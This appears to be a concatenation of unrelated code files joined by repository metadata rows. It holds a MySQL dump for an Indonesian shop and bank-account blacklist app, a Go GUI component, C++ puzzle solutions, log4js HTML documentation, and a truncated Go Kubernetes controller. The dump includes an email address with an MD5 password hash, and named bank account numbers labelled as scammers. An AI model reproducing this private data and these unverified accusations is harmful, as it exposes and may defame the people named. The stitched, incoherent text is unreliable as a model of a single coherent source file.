`kategori_id` int(11) NOT NULL,
`nama` varchar(25) NOT NULL,
`ukuran` char(1) NOT NULL DEFAULT 'T',
`deleted` int(11) NOT NULL DEFAULT 0,
`create_at` datetime NOT NULL DEFAULT current_timestamp(),
`create_by` int(11) NOT NULL,
`update_at` datetime NOT NULL DEFAULT current_timestamp(),
`update_by` int(11) NOT NULL,
`lastmodified` datetime NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
--
-- Dumping data untuk tabel `tbl_kategori`
--
INSERT INTO `tbl_kategori` (`kategori_id`, `nama`, `ukuran`, `deleted`, `create_at`, `create_by`, `update_at`, `update_by`, `lastmodified`) VALUES
(1, 'PLAIN LONGSLEEVE', 'Y', 0, '2020-11-23 14:07:51', 1, '2020-12-24 12:12:20', 1, '2020-12-24 12:12:20'),
(2, 'TOP', 'Y', 0, '2020-11-23 14:07:51', 1, '2020-12-24 12:12:17', 1, '2020-12-24 12:12:17'),
(3, 'MASKER', 'Y', 0, '2020-11-23 14:07:51', 1, '2020-12-24 12:12:49', 1, '2020-12-24 12:12:49'),
(4, 'BOTTOM', 'T', 0, '2020-11-23 14:07:51', 1, '2020-12-24 12:12:07', 1, '2020-12-24 12:12:07'),
(6, 'TSHIRT', 'Y', 0, '2020-11-23 14:07:51', 1, '2020-12-24 12:12:03', 1, '2020-12-24 12:12:03'),
(7, 'KNITT', 'Y', 0, '2020-11-23 14:07:51', 1, '2020-12-24 12:12:49', 1, '2020-12-24 12:12:49'),
(8, 'PLAIN SHORTSLEEVE', 'Y', 0, '2020-11-23 14:07:51', 1, '2020-12-24 12:12:36', 1, '2020-12-24 12:12:36'),
(9, 'BAG', 'T', 0, '2020-11-23 14:07:51', 1, '2020-12-24 12:12:37', 1, '2020-12-24 12:12:37'),
(10, 'HAIR ACCESSORIES', 'T', 0, '2020-12-18 08:12:30', 3, '2020-12-24 12:12:26', 1, '2020-12-24 12:12:26'),
(11, 'SET', 'Y', 0, '2020-12-24 12:12:45', 1, '2020-12-24 12:12:45', 1, '2020-12-24 12:12:45');
-- --------------------------------------------------------
--
-- Struktur dari tabel `tbl_lokasi`
--
CREATE TABLE `tbl_lokasi` (
`lokasi_id` int(11) NOT NULL,
`nama` text NOT NULL,
`url` text NOT NULL,
`deleted` int(11) NOT NULL DEFAULT 0,
`create_at` datetime NOT NULL DEFAULT current_timestamp(),
`create_by` int(11) NOT NULL,
`update_at` datetime NOT NULL DEFAULT current_timestamp(),
`update_by` int(11) NOT NULL,
`lastmodified` datetime NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
--
-- Dumping data untuk tabel `tbl_lokasi`
--
INSERT INTO `tbl_lokasi` (`lokasi_id`, `nama`, `url`, `deleted`, `create_at`, `create_by`, `update_at`, `update_by`, `lastmodified`) VALUES
(1, 'Kings Shopping Centre, Jl. Kepatihan No.4, Balonggede, Kec. Regol, Kota Bandung, Jawa Barat 40251', 'https://www.google.com/maps/place/Big+Jill/@-6.9236294,107.5976967,15z/data=!4m8!1m2!2m1!1sbigjill+indonesia!3m4!1s0x2e68e6246ce9c979:0x5c67b7582be8fe8d!8m2!3d-6.923346!4d107.604319', 0, '2020-12-21 17:12:19', 3, '2020-12-21 17:12:25', 3, '2020-12-21 17:12:25'),
(2, 'Jl. Dewi Sartika No.11, Balonggede, Kec. Regol, Kota Bandung, Jawa Barat 40251', 'https://www.google.com/maps/place/BigJill/@-6.9236294,107.5976967,15z/data=!4m8!1m2!2m1!1sbigjill+indonesia!3m4!1s0x2e68e6268692e901:0x4c1faf509fe2aeb6!8m2!3d-6.9236294!4d107.6064514', 0, '2020-12-21 17:12:49', 3, '2020-12-21 17:12:49', 3, '2020-12-21 17:12:49'),
(3, 'Bandung Indah Plaza, Jl. Merdeka No.56, Citarum, Kec. Bandung Wetan, Kota Bandung, Jawa Barat 40117', 'https://www.google.com/maps/place/Big+Jill/@-6.908344,107.602497,15z/data=!4m8!1m2!2m1!1sbigjill+indonesia!3m4!1s0x2e68e637c28ce53d:0x19653cfa33e71afa!8m2!3d-6.908344!4d107.6112517', 0, '2020-12-21 17:12:09', 3, '2020-12-21 17:12:09', 3, '2020-12-21 17:12:09');
-- --------------------------------------------------------
--
-- Struktur dari tabel `tbl_rekening`
--
CREATE TABLE `tbl_rekening` (
`rekening_id` int(11) NOT NULL,
`bank_id` int(11) DEFAULT NULL,
`rekening` char(30) DEFAULT NULL,
`atas_nama` varchar(45) DEFAULT NULL,
`status` char(25) DEFAULT NULL COMMENT 'blacklist / whitelist',
`kronologi` text NOT NULL,
`create_at` datetime DEFAULT NULL,
`create_by` int(11) DEFAULT NULL,
`update_at` datetime DEFAULT NULL,
`update_by` int(11) DEFAULT NULL,
`deleted` int(1) DEFAULT 0 COMMENT '0 = normal / 1 = delete',
`lastmodified` datetime DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
--
-- Dumping data untuk tabel `tbl_rekening`
--
INSERT INTO `tbl_rekening` (`rekening_id`, `bank_id`, `rekening`, `atas_nama`, `status`, `kronologi`, `create_at`, `create_by`, `update_at`, `update_by`, `deleted`, `lastmodified`) VALUES
(1, 1, '1', 'aditya', 'Blacklist', '', '2021-02-12 07:02:31', 2, '2021-02-20 07:02:42', 2, 1, '2021-02-20 07:02:42'),
(2, 1, '1', 'aditya', 'Blacklist', '', '2021-02-14 15:02:49', 2, '2021-02-20 07:02:02', 2, 1, '2021-02-20 07:02:02'),
(3, 2, '2', 'atas nama adit', 'Blacklist', '', '2021-02-14 15:02:16', 2, '2021-02-20 07:02:46', 2, 1, '2021-02-20 07:02:46'),
(4, 4, '47772838449', 'Ray Mond', 'Blacklist', '', '2021-02-14 15:02:24', 2, '2021-02-20 07:02:54', 2, 1, '2021-02-20 07:02:54'),
(5, 1, '83294294729', 'Niko Donat', 'Blacklist', 'menipu saat membeli donat', '2021-02-15 07:02:47', 2, '2021-02-20 07:02:02', 2, 1, '2021-02-20 07:02:02'),
(6, 3, '1278687638456', 'Nadita Dewi Profita', '', 'Sellernya Baik Ramah Barangnyapun sangat murah murah ga nyangka banget deh pokoknya', '2021-02-16 00:02:31', 2, '2021-02-22 23:02:24', 2, 0, '2021-02-22 23:02:24'),
(7, 1, '12345678910', 'Afif Akbar', 'Blacklist', 'Saya Di paksa di tipu jancok', '2021-02-20 08:02:56', 2, '2021-02-20 08:02:56', 2, 0, '2021-02-20 08:02:56');
-- --------------------------------------------------------
--
-- Struktur dari tabel `tbl_rekening_foto`
--
CREATE TABLE `tbl_rekening_foto` (
`id` int(11) NOT NULL,
`rekening_id` int(11) NOT NULL,
`foto_utama` text NOT NULL,
`foto_1` text DEFAULT NULL,
`foto_2` text DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
--
-- Dumping data untuk tabel `tbl_rekening_foto`
--
INSERT INTO `tbl_rekening_foto` (`id`, `rekening_id`, `foto_utama`, `foto_1`, `foto_2`) VALUES
(1, 1, 'IMG_1149.jpg', '0', '0'),
(2, 2, '0', '0', '0'),
(3, 3, '0', '0', '0'),
(4, 4, '0', '0', '0'),
(5, 5, '0', '0', '0'),
(6, 6, 'Screen_Shot_2021-02-14_at_22_45_52.png', '0', '0'),
(7, 7, 'Screen_Shot_2021-02-13_at_16_23_47.png', 'Screen_Shot_2021-02-14_at_22_45_52.png', 'Screen_Shot_2021-02-14_at_23_47_04.png');
-- --------------------------------------------------------
--
-- Struktur dari tabel `tbl_ukuran`
--
CREATE TABLE `tbl_ukuran` (
`ukuran_id` int(11) NOT NULL,
`nama` varchar(40) NOT NULL,
`singkatan` varchar(10) NOT NULL,
`deleted` int(11) NOT NULL,
`create_at` datetime NOT NULL DEFAULT current_timestamp(),
`create_by` int(11) NOT NULL,
`update_at` datetime NOT NULL DEFAULT current_timestamp(),
`update_by` int(11) NOT NULL,
`lastmodified` datetime NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
--
-- Dumping data untuk tabel `tbl_ukuran`
--
INSERT INTO `tbl_ukuran` (`ukuran_id`, `nama`, `singkatan`, `deleted`, `create_at`, `create_by`, `update_at`, `update_by`, `lastmodified`) VALUES
(1, 'All Size', 'AllSize', 0, '2020-11-23 20:27:53', 1, '2020-11-23 20:27:53', 1, '2020-11-23 20:27:53'),
(2, 'Extra Small', 'XS', 0, '2020-11-23 20:27:54', 1, '2020-11-23 20:27:54', 1, '2020-11-23 20:27:54'),
(3, 'Small', 'S', 0, '2020-11-23 20:28:05', 1, '2020-11-23 20:28:05', 1, '2020-11-23 20:28:05'),
(4, 'Medium', 'M', 0, '2020-11-23 20:28:11', 1, '2020-11-23 20:28:11', 1, '2020-11-23 20:28:11'),
(5, 'Large', 'L', 0, '2020-11-23 20:29:31', 1, '2020-11-23 20:29:31', 1, '2020-11-23 20:29:31'),
(6, 'Extra Large', 'XL', 0, '2020-11-23 20:29:44', 1, '2020-11-23 20:29:44', 1, '2020-11-23 20:29:44'),
(7, 'Earloop', 'Earloop', 0, '2020-11-23 20:31:05', 1, '2020-11-23 20:31:05', 1, '2020-11-23 20:31:05'),
(8, 'Headloop', 'Headloop', 0, '2020-11-23 20:31:10', 1, '2020-11-23 20:31:10', 1, '2020-11-23 20:31:10'),
(9, 'Anak Earloop', 'AE', 0, '2020-12-24 12:12:56', 1, '2020-12-24 17:12:28', 1, '2020-12-24 17:12:28'),
(10, 'Bank Central Asia', 'BCA', 0, '2021-02-11 21:02:47', 2, '2021-02-11 21:02:47', 2, '2021-02-11 21:02:47');
-- --------------------------------------------------------
--
-- Struktur dari tabel `tbl_users`
--
CREATE TABLE `tbl_users` (
`users_id` int(11) NOT NULL,
`nama` varchar(60) NOT NULL,
`username` varchar(16) NOT NULL,
`email` varchar(50) NOT NULL,
`password` text NOT NULL,
`keterangan` text DEFAULT NULL,
`display_email` char(1) NOT NULL DEFAULT 'T',
`deleted` int(11) NOT NULL,
`create_at` datetime NOT NULL DEFAULT current_timestamp(),
`create_by` int(11) NOT NULL,
`update_at` datetime NOT NULL DEFAULT current_timestamp(),
`update_by` int(11) NOT NULL,
`lastmodified` datetime NOT NULL DEFAULT current_timestamp()
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
--
-- Dumping data untuk tabel `tbl_users`
--
INSERT INTO `tbl_users` (`users_id`, `nama`, `username`, `email`, `password`, `keterangan`, `display_email`, `deleted`, `create_at`, `create_by`, `update_at`, `update_by`, `lastmodified`) VALUES
(5, 'apkblack17', 'apkblack17', 'adit.praset.27@icloud.com', 'f446d1791024a9a1a4f4db80d35762a8', NULL, 'T', 0, '2021-02-28 09:02:30', 0, '2021-02-28 09:02:30', 0, '2021-02-28 09:02:30');
--
-- Indexes for dumped tables
--
--
-- Indeks untuk tabel `log_login_admin`
--
ALTER TABLE `log_login_admin`
ADD PRIMARY KEY (`login_id`);
--
-- Indeks untuk tabel `tbl_admin`
--
ALTER TABLE `tbl_admin`
ADD PRIMARY KEY (`admin_id`);
--
-- Indeks untuk tabel `tbl_bank`
--
ALTER TABLE `tbl_bank`
ADD PRIMARY KEY (`bank_id`);
--
-- Indeks untuk tabel `tbl_barang`
--
ALTER TABLE `tbl_barang`
ADD PRIMARY KEY (`barang_id`);
--
-- Indeks untuk tabel `tbl_kategori`
--
ALTER TABLE `tbl_kategori`
ADD PRIMARY KEY (`kategori_id`);
--
-- Indeks untuk tabel `tbl_lokasi`
--
ALTER TABLE `tbl_lokasi`
ADD PRIMARY KEY (`lokasi_id`);
--
-- Indeks untuk tabel `tbl_rekening`
--
ALTER TABLE `tbl_rekening`
ADD PRIMARY KEY (`rekening_id`);
--
-- Indeks untuk tabel `tbl_rekening_foto`
--
ALTER TABLE `tbl_rekening_foto`
ADD PRIMARY KEY (`id`);
--
-- Indeks untuk tabel `tbl_ukuran`
--
ALTER TABLE `tbl_ukuran`
ADD PRIMARY KEY (`ukuran_id`);
--
-- Indeks untuk tabel `tbl_users`
--
ALTER TABLE `tbl_users`
ADD PRIMARY KEY (`users_id`);
--
-- AUTO_INCREMENT untuk tabel yang dibuang
--
--
-- AUTO_INCREMENT untuk tabel `log_login_admin`
--
ALTER TABLE `log_login_admin`
MODIFY `login_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=47;
--
-- AUTO_INCREMENT untuk tabel `tbl_admin`
--
ALTER TABLE `tbl_admin`
MODIFY `admin_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;
--
-- AUTO_INCREMENT untuk tabel `tbl_bank`
--
ALTER TABLE `tbl_bank`
MODIFY `bank_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6;
--
-- AUTO_INCREMENT untuk tabel `tbl_barang`
--
ALTER TABLE `tbl_barang`
MODIFY `barang_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=18;
--
-- AUTO_INCREMENT untuk tabel `tbl_kategori`
--
ALTER TABLE `tbl_kategori`
MODIFY `kategori_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=12;
--
-- AUTO_INCREMENT untuk tabel `tbl_lokasi`
--
ALTER TABLE `tbl_lokasi`
MODIFY `lokasi_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
--
-- AUTO_INCREMENT untuk tabel `tbl_rekening`
--
ALTER TABLE `tbl_rekening`
MODIFY `rekening_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8;
--
-- AUTO_INCREMENT untuk tabel `tbl_rekening_foto`
--
ALTER TABLE `tbl_rekening_foto`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8;
--
-- AUTO_INCREMENT untuk tabel `tbl_ukuran`
--
ALTER TABLE `tbl_ukuran`
MODIFY `ukuran_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=11;
--
-- AUTO_INCREMENT untuk tabel `tbl_users`
--
ALTER TABLE `tbl_users`
MODIFY `users_id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6;
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
| 50.07451 | 681 | 0.658274 |
29617588a84d5bbb03450e12750c3a5ef2568b7b | 4,455 | go | Go | ui/components.go | SavvyProgrammer/godcr | 63476d0a45445361ebeca16cd48a5eaf313f1dd5 | [
"ISC"
] | null | null | null | ui/components.go | SavvyProgrammer/godcr | 63476d0a45445361ebeca16cd48a5eaf313f1dd5 | [
"ISC"
] | null | null | null | ui/components.go | SavvyProgrammer/godcr | 63476d0a45445361ebeca16cd48a5eaf313f1dd5 | [
"ISC"
] | null | null | null | package ui
import (
"fmt"
"gioui.org/layout"
"gioui.org/unit"
"github.com/atotto/clipboard"
"github.com/raedahgroup/godcr/ui/decredmaterial"
)
const (
headerHeight = .15
navSize = .1
)
var (
// layout.Flex: Vertical
vertFlex = layout.Flex{Axis: layout.Vertical}
// layout.Flex: Vertical, SpaceBetween
vertFlexSB = layout.Flex{Axis: layout.Vertical, Spacing: layout.SpaceBetween}
// layout.Flex: Horizontal
horFlex = layout.Flex{}
// layout.Flex: Horizontal
horFlexSB = layout.Flex{Spacing: layout.SpaceBetween}
// layout.Rigid
rigid = layout.Rigid
// layout.Flexed
flexed = layout.Flexed
)
func (win *Window) vFlex(children ...layout.FlexChild) {
vertFlex.Layout(win.gtx, children...)
}
func (win *Window) vFlexSB(children ...layout.FlexChild) {
vertFlexSB.Layout(win.gtx, children...)
}
func (win *Window) hFlex(children ...layout.FlexChild) {
horFlex.Layout(win.gtx, children...)
}
func (win *Window) hFlexSB(children ...layout.FlexChild) {
horFlexSB.Layout(win.gtx, children...)
}
func (win *Window) Page(body layout.Widget) {
bd := func() {
layout.Flex{Axis: layout.Vertical}.Layout(win.gtx,
layout.Flexed(headerHeight, func() {
decredmaterial.Card{
Inset: layout.Inset{
Bottom: unit.Dp(1),
},
}.Layout(win.gtx, win.Header)
}),
layout.Flexed(1-headerHeight, func() {
toMax(win.gtx)
body()
}),
)
}
layout.Flex{Axis: layout.Horizontal}.Layout(win.gtx,
layout.Flexed(navSize, func() {
decredmaterial.Card{
Inset: layout.Inset{
Right: unit.Dp(1),
},
}.Layout(win.gtx, win.NavBar)
}),
layout.Flexed(1-navSize, bd),
)
}
// TabbedPage layouts a layout.Tabs
func (win *Window) TabbedPage(body layout.Widget) {
items := make([]decredmaterial.TabItem, win.walletInfo.LoadedWallets)
for i := 0; i < win.walletInfo.LoadedWallets; i++ {
items[i] = decredmaterial.TabItem{
Label: win.theme.Body1(win.walletInfo.Wallets[i].Name),
}
}
win.tabs.SetTabs(items)
win.tabs.Position = decredmaterial.Top
if len(win.walletInfo.Wallets) == win.selected {
win.selected = 0
}
info := win.walletInfo.Wallets[win.selected]
accounts := make([]string, len(info.Accounts))
for i, acct := range info.Accounts {
accounts[i] = acct.Name
}
win.combined.sel.Options = accounts
bd := func() {
toMax(win.gtx)
win.tabs.Layout(win.gtx, body)
}
win.Page(bd)
}
// Header lays out the window header
func (win *Window) Header() {
toMax(win.gtx)
layout.Flex{
Alignment: layout.Middle,
}.Layout(win.gtx,
layout.Flexed(0.6, func() {
win.theme.H3("GoDcr").Layout(win.gtx)
}),
//layout.Flexed(0.2, func() {
// layout.Center.Layout(win.gtx, func() {
// win.outputs.createDiag.Layout(win.gtx, &win.inputs.createDiag)
// })
//}),
//layout.Flexed(0.2, func() {
// layout.Center.Layout(win.gtx, func() {
// win.outputs.toRestoreWallet.Layout(win.gtx, &win.inputs.toRestoreWallet)
// })
//}),
//layout.Flexed(0.4, func() {
// layout.Center.Layout(win.gtx, func() {
// win.outputs.syncHeader.Layout(win.gtx, &win.inputs.syncHeader)
// })
//}),
)
}
func (win *Window) NavBar() {
toMax(win.gtx)
layout.Flex{Spacing: layout.SpaceEvenly, Alignment: layout.Middle, Axis: layout.Vertical}.Layout(win.gtx,
layout.Rigid(func() {
layout.Center.Layout(win.gtx, func() {
win.outputs.toOverview.Layout(win.gtx, &win.inputs.toOverview)
})
}),
layout.Rigid(func() {
layout.Center.Layout(win.gtx, func() {
win.outputs.toWallets.Layout(win.gtx, &win.inputs.toWallets)
})
}),
layout.Rigid(func() {
layout.Center.Layout(win.gtx, func() {
win.outputs.toTransactions.Layout(win.gtx, &win.inputs.toTransactions)
})
}),
layout.Rigid(func() {
layout.Center.Layout(win.gtx, func() {
win.outputs.toSettings.Layout(win.gtx, &win.inputs.toSettings)
})
}),
)
}
func toMax(gtx *layout.Context) {
gtx.Constraints.Width.Min = gtx.Constraints.Width.Max
gtx.Constraints.Height.Min = gtx.Constraints.Height.Max
}
func modalDims(gtx *layout.Context) {
gtx.Constraints.Width.Min = gtx.Constraints.Width.Max
gtx.Constraints.Height.Min = gtx.Constraints.Height.Max - 150
}
func (win *Window) Err() {
if win.err != "" {
win.outputs.err.Text = win.err
win.outputs.err.Layout(win.gtx)
}
}
func GetClipboardContent() string {
str, err := clipboard.ReadAll()
if err != nil {
log.Warn(fmt.Sprintf("error getting clipboard data: %s", err.Error()))
return ""
}
return str
}
| 24.081081 | 106 | 0.671156 |
e81e1a056509d3d0a58c126801a30b91bbb02583 | 469 | cpp | C++ | cpp/find-numbers-which-are-divisible-by-given-number/solution.cpp | hiljusti/codewars-solutions | 1a423e8cb0fbcac94738f6e51dc333f057b0a731 | [
"WTFPL"
] | 2 | 2020-02-22T08:47:51.000Z | 2021-05-21T22:21:55.000Z | cpp/find-numbers-which-are-divisible-by-given-number/solution.cpp | hiljusti/codewars-solutions | 1a423e8cb0fbcac94738f6e51dc333f057b0a731 | [
"WTFPL"
] | null | null | null | cpp/find-numbers-which-are-divisible-by-given-number/solution.cpp | hiljusti/codewars-solutions | 1a423e8cb0fbcac94738f6e51dc333f057b0a731 | [
"WTFPL"
] | 1 | 2021-11-09T17:22:10.000Z | 2021-11-09T17:22:10.000Z | // https://www.codewars.com/kata/55edaba99da3a9c84000003b
#include <algorithm>
std::vector<int> divisible_by(std::vector<int> numbers, int divisor)
{
std::vector<int> result;
result.reserve(numbers.size());
auto predicate = [=](int n) -> bool{
return n % divisor == 0;
};
copy_if(
numbers.begin(),
numbers.end(),
inserter(result, result.begin()),
predicate
);
result.shrink_to_fit();
return result;
}
| 18.76 | 68 | 0.614072 |
ac98b51d2f6fc86c58d593ed22a280f8ecf14eef | 348 | cpp | C++ | 0700/20/723a.cpp | actium/cf | d7be128c3a9adb014a231a399f1c5f19e1ab2a38 | [
"Unlicense"
] | 1 | 2020-07-03T15:55:52.000Z | 2020-07-03T15:55:52.000Z | 0700/20/723a.cpp | actium/cf | d7be128c3a9adb014a231a399f1c5f19e1ab2a38 | [
"Unlicense"
] | null | null | null | 0700/20/723a.cpp | actium/cf | d7be128c3a9adb014a231a399f1c5f19e1ab2a38 | [
"Unlicense"
] | 3 | 2020-10-01T14:55:28.000Z | 2021-07-11T11:33:58.000Z | #include <algorithm>
#include <array>
#include <iostream>
void answer(size_t v)
{
std::cout << v << '\n';
}
void solve(std::array<unsigned, 3>& x)
{
std::sort(x.begin(), x.end());
answer(x[1] - x[0] + x[2] - x[1]);
}
int main()
{
std::array<unsigned, 3> x;
std::cin >> x[0] >> x[1] >> x[2];
solve(x);
return 0;
}
| 12.888889 | 38 | 0.508621 |
055c3d06c050e2510396b2a963d8742196f69944 | 7,331 | html | HTML | node_modules/log4js/docs/_site/fileSync.html | letsdev1/GSTN-Node | cf3992c5c67ecc3e7c2f8ca2002c73ad0cefd019 | [
"MIT"
] | 287 | 2018-03-29T06:58:09.000Z | 2022-03-29T15:59:17.000Z | node_modules/log4js/docs/_site/fileSync.html | letsdev1/GSTN-Node | cf3992c5c67ecc3e7c2f8ca2002c73ad0cefd019 | [
"MIT"
] | 12 | 2018-04-13T09:29:36.000Z | 2022-03-13T12:33:42.000Z | node_modules/log4js/docs/_site/fileSync.html | letsdev1/GSTN-Node | cf3992c5c67ecc3e7c2f8ca2002c73ad0cefd019 | [
"MIT"
] | 136 | 2018-04-04T07:38:06.000Z | 2022-03-23T06:47:24.000Z | <!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="chrome=1">
<title>log4js-node by nomiddlename</title>
<link rel="stylesheet" href="/assets/css/style.css?v=a7f232b4c6654881e6a8bd2ac48ee149603d74de">
<meta name="viewport" content="width=device-width">
<!--[if lt IE 9]>
<script src="//html5shiv.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
</head>
<body>
<div class="wrapper">
<header>
<h1>log4js-node</h1>
<p>A port of log4js to node.js</p>
<p class="view"><a href="http://github.com/nomiddlename/log4js-node">View the Project on GitHub <small></small></a></p>
<ul>
<li><a href="index.html">Home</a></li>
<li><a href="api.html">API</a></li>
<li><a href="appenders.html">Appenders</a></li>
<li><a href="layouts.html">Layouts</a></li>
<li><a href="terms.html">Terminology</a></li>
<li><a href="faq.html">FAQ</a></li>
<li><a href="contrib-guidelines.html">Want to help?</a></li>
<li><a href="contributors.html">Contributors</a></li>
</ul>
</header>
<section>
<h1 id="synchronous-file-appender">Synchronous File Appender</h1>
<p>The sync file appender writes log events to a file, the only difference to the normal file appender is that all the writes are synchronous. This can make writing tests easier, or in situations where you need an absolute guarantee that a log message has been written to the file. Making synchronous I/O calls does mean you lose a lot of the benefits of using node.js though. It supports an optional maximum file size, and will keep a configurable number of backups. Note that the synchronous file appender, unlike the asynchronous version, does not support compressing the backup files.</p>
<h2 id="configuration">Configuration</h2>
<ul>
<li><code class="highlighter-rouge">type</code> - <code class="highlighter-rouge">"file"</code></li>
<li><code class="highlighter-rouge">filename</code> - <code class="highlighter-rouge">string</code> - the path of the file where you want your logs written.</li>
<li><code class="highlighter-rouge">maxLogSize</code> - <code class="highlighter-rouge">integer</code> (optional) - the maximum size (in bytes) for the log file. If not specified, then no log rolling will happen.</li>
<li><code class="highlighter-rouge">backups</code> - <code class="highlighter-rouge">integer</code> (optional, default value = 5) - the number of old log files to keep during log rolling.</li>
<li><code class="highlighter-rouge">layout</code> - (optional, defaults to basic layout) - see <a href="/layouts.html">layouts</a></li>
</ul>
<p>Any other configuration parameters will be passed to the underlying node.js core stream implementation:</p>
<ul>
<li><code class="highlighter-rouge">encoding</code> - <code class="highlighter-rouge">string</code> (default “utf-8”)</li>
<li><code class="highlighter-rouge">mode</code>- <code class="highlighter-rouge">integer</code> (default 0644)</li>
<li><code class="highlighter-rouge">flags</code> - <code class="highlighter-rouge">string</code> (default ‘a’)</li>
</ul>
<h2 id="example">Example</h2>
<div class="language-javascript highlighter-rouge"><pre class="highlight"><code><span class="nx">log4js</span><span class="p">.</span><span class="nx">configure</span><span class="p">({</span>
<span class="na">appenders</span><span class="p">:</span> <span class="p">{</span>
<span class="na">everything</span><span class="p">:</span> <span class="p">{</span> <span class="na">type</span><span class="p">:</span> <span class="s1">'fileSync'</span><span class="p">,</span> <span class="na">filename</span><span class="p">:</span> <span class="s1">'all-the-logs.log'</span> <span class="p">}</span>
<span class="p">},</span>
<span class="na">categories</span><span class="p">:</span> <span class="p">{</span>
<span class="na">default</span><span class="p">:</span> <span class="p">{</span> <span class="na">appenders</span><span class="p">:</span> <span class="p">[</span> <span class="s1">'everything'</span> <span class="p">],</span> <span class="na">level</span><span class="p">:</span> <span class="s1">'debug'</span> <span class="p">}</span>
<span class="p">}</span>
<span class="p">});</span>
<span class="kr">const</span> <span class="nx">logger</span> <span class="o">=</span> <span class="nx">log4js</span><span class="p">.</span><span class="nx">getLogger</span><span class="p">();</span>
<span class="nx">logger</span><span class="p">.</span><span class="nx">debug</span><span class="p">(</span><span class="s1">'I will be logged in all-the-logs.log'</span><span class="p">);</span>
</code></pre>
</div>
<p>This example will result in a single log file (<code class="highlighter-rouge">all-the-logs.log</code>) containing the log messages.</p>
<h2 id="example-with-log-rolling">Example with log rolling</h2>
<div class="language-javascript highlighter-rouge"><pre class="highlight"><code><span class="nx">log4js</span><span class="p">.</span><span class="nx">configure</span><span class="p">({</span>
<span class="na">appenders</span><span class="p">:</span> <span class="p">{</span>
<span class="na">everything</span><span class="p">:</span> <span class="p">{</span> <span class="na">type</span><span class="p">:</span> <span class="s1">'file'</span><span class="p">,</span> <span class="na">filename</span><span class="p">:</span> <span class="s1">'all-the-logs.log'</span><span class="p">,</span> <span class="na">maxLogSize</span><span class="p">:</span> <span class="mi">10458760</span><span class="p">,</span> <span class="na">backups</span><span class="p">:</span> <span class="mi">3</span> <span class="p">}</span>
<span class="p">},</span>
<span class="na">categories</span><span class="p">:</span> <span class="p">{</span>
<span class="na">default</span><span class="p">:</span> <span class="p">{</span> <span class="na">appenders</span><span class="p">:</span> <span class="p">[</span> <span class="s1">'everything'</span> <span class="p">],</span> <span class="na">level</span><span class="p">:</span> <span class="s1">'debug'</span><span class="p">}</span>
<span class="p">}</span>
<span class="p">});</span>
</code></pre>
</div>
<p>This will result in one current log file (<code class="highlighter-rouge">all-the-logs.log</code>). When that reaches 10Mb in size, it will be renamed and compressed to <code class="highlighter-rouge">all-the-logs.log.1.gz</code> and a new file opened called <code class="highlighter-rouge">all-the-logs.log</code>. When <code class="highlighter-rouge">all-the-logs.log</code> reaches 10Mb again, then <code class="highlighter-rouge">all-the-logs.log.1.gz</code> will be renamed to <code class="highlighter-rouge">all-the-logs.log.2.gz</code>, and so on.</p>
</section>
<footer>
<p>This project is maintained by <a href="http://github.com/nomiddlename">nomiddlename</a></p>
<p><small>Hosted on GitHub Pages — Theme by <a href="https://github.com/orderedlist">orderedlist</a></small></p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
</body>
</html>
| 67.87963 | 592 | 0.654345 |
4b70ddf8bb9cbac19f9be804d040aff0eb815f87 | 3,664 | go | Go | controllers/cfstrait_controller.go | cen-ngc5139/cfs-trait | 7aaa1e261a80ad9606f6d3f34c648c00c6c035a3 | [
"Apache-2.0"
] | 1 | 2021-05-10T00:35:35.000Z | 2021-05-10T00:35:35.000Z | controllers/cfstrait_controller.go | cen-ngc5139/cfs-trait | 7aaa1e261a80ad9606f6d3f34c648c00c6c035a3 | [
"Apache-2.0"
] | null | null | null | controllers/cfstrait_controller.go | cen-ngc5139/cfs-trait | 7aaa1e261a80ad9606f6d3f34c648c00c6c035a3 | [
"Apache-2.0"
] | null | null | null | /*
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package controllers
import (
"context"
"sync"
"github.com/ghostbaby/cfs-trait/controllers/models"
"sigs.k8s.io/controller-runtime/pkg/source"
"sigs.k8s.io/controller-runtime/pkg/builder"
"sigs.k8s.io/controller-runtime/pkg/handler"
"sigs.k8s.io/controller-runtime/pkg/predicate"
corev1 "k8s.io/api/core/v1"
"sigs.k8s.io/controller-runtime/pkg/reconcile"
"k8s.io/client-go/tools/record"
"github.com/go-logr/logr"
"k8s.io/apimachinery/pkg/runtime"
ctrl "sigs.k8s.io/controller-runtime"
"sigs.k8s.io/controller-runtime/pkg/client"
traitv1 "github.com/ghostbaby/cfs-trait/api/v1"
)
// CfsTraitReconciler reconciles a CfsTrait object
type CfsTraitReconciler struct {
client.Client
CTX context.Context
Log logr.Logger
Scheme *runtime.Scheme
Recorder record.EventRecorder
KnownAlert *sync.Map
}
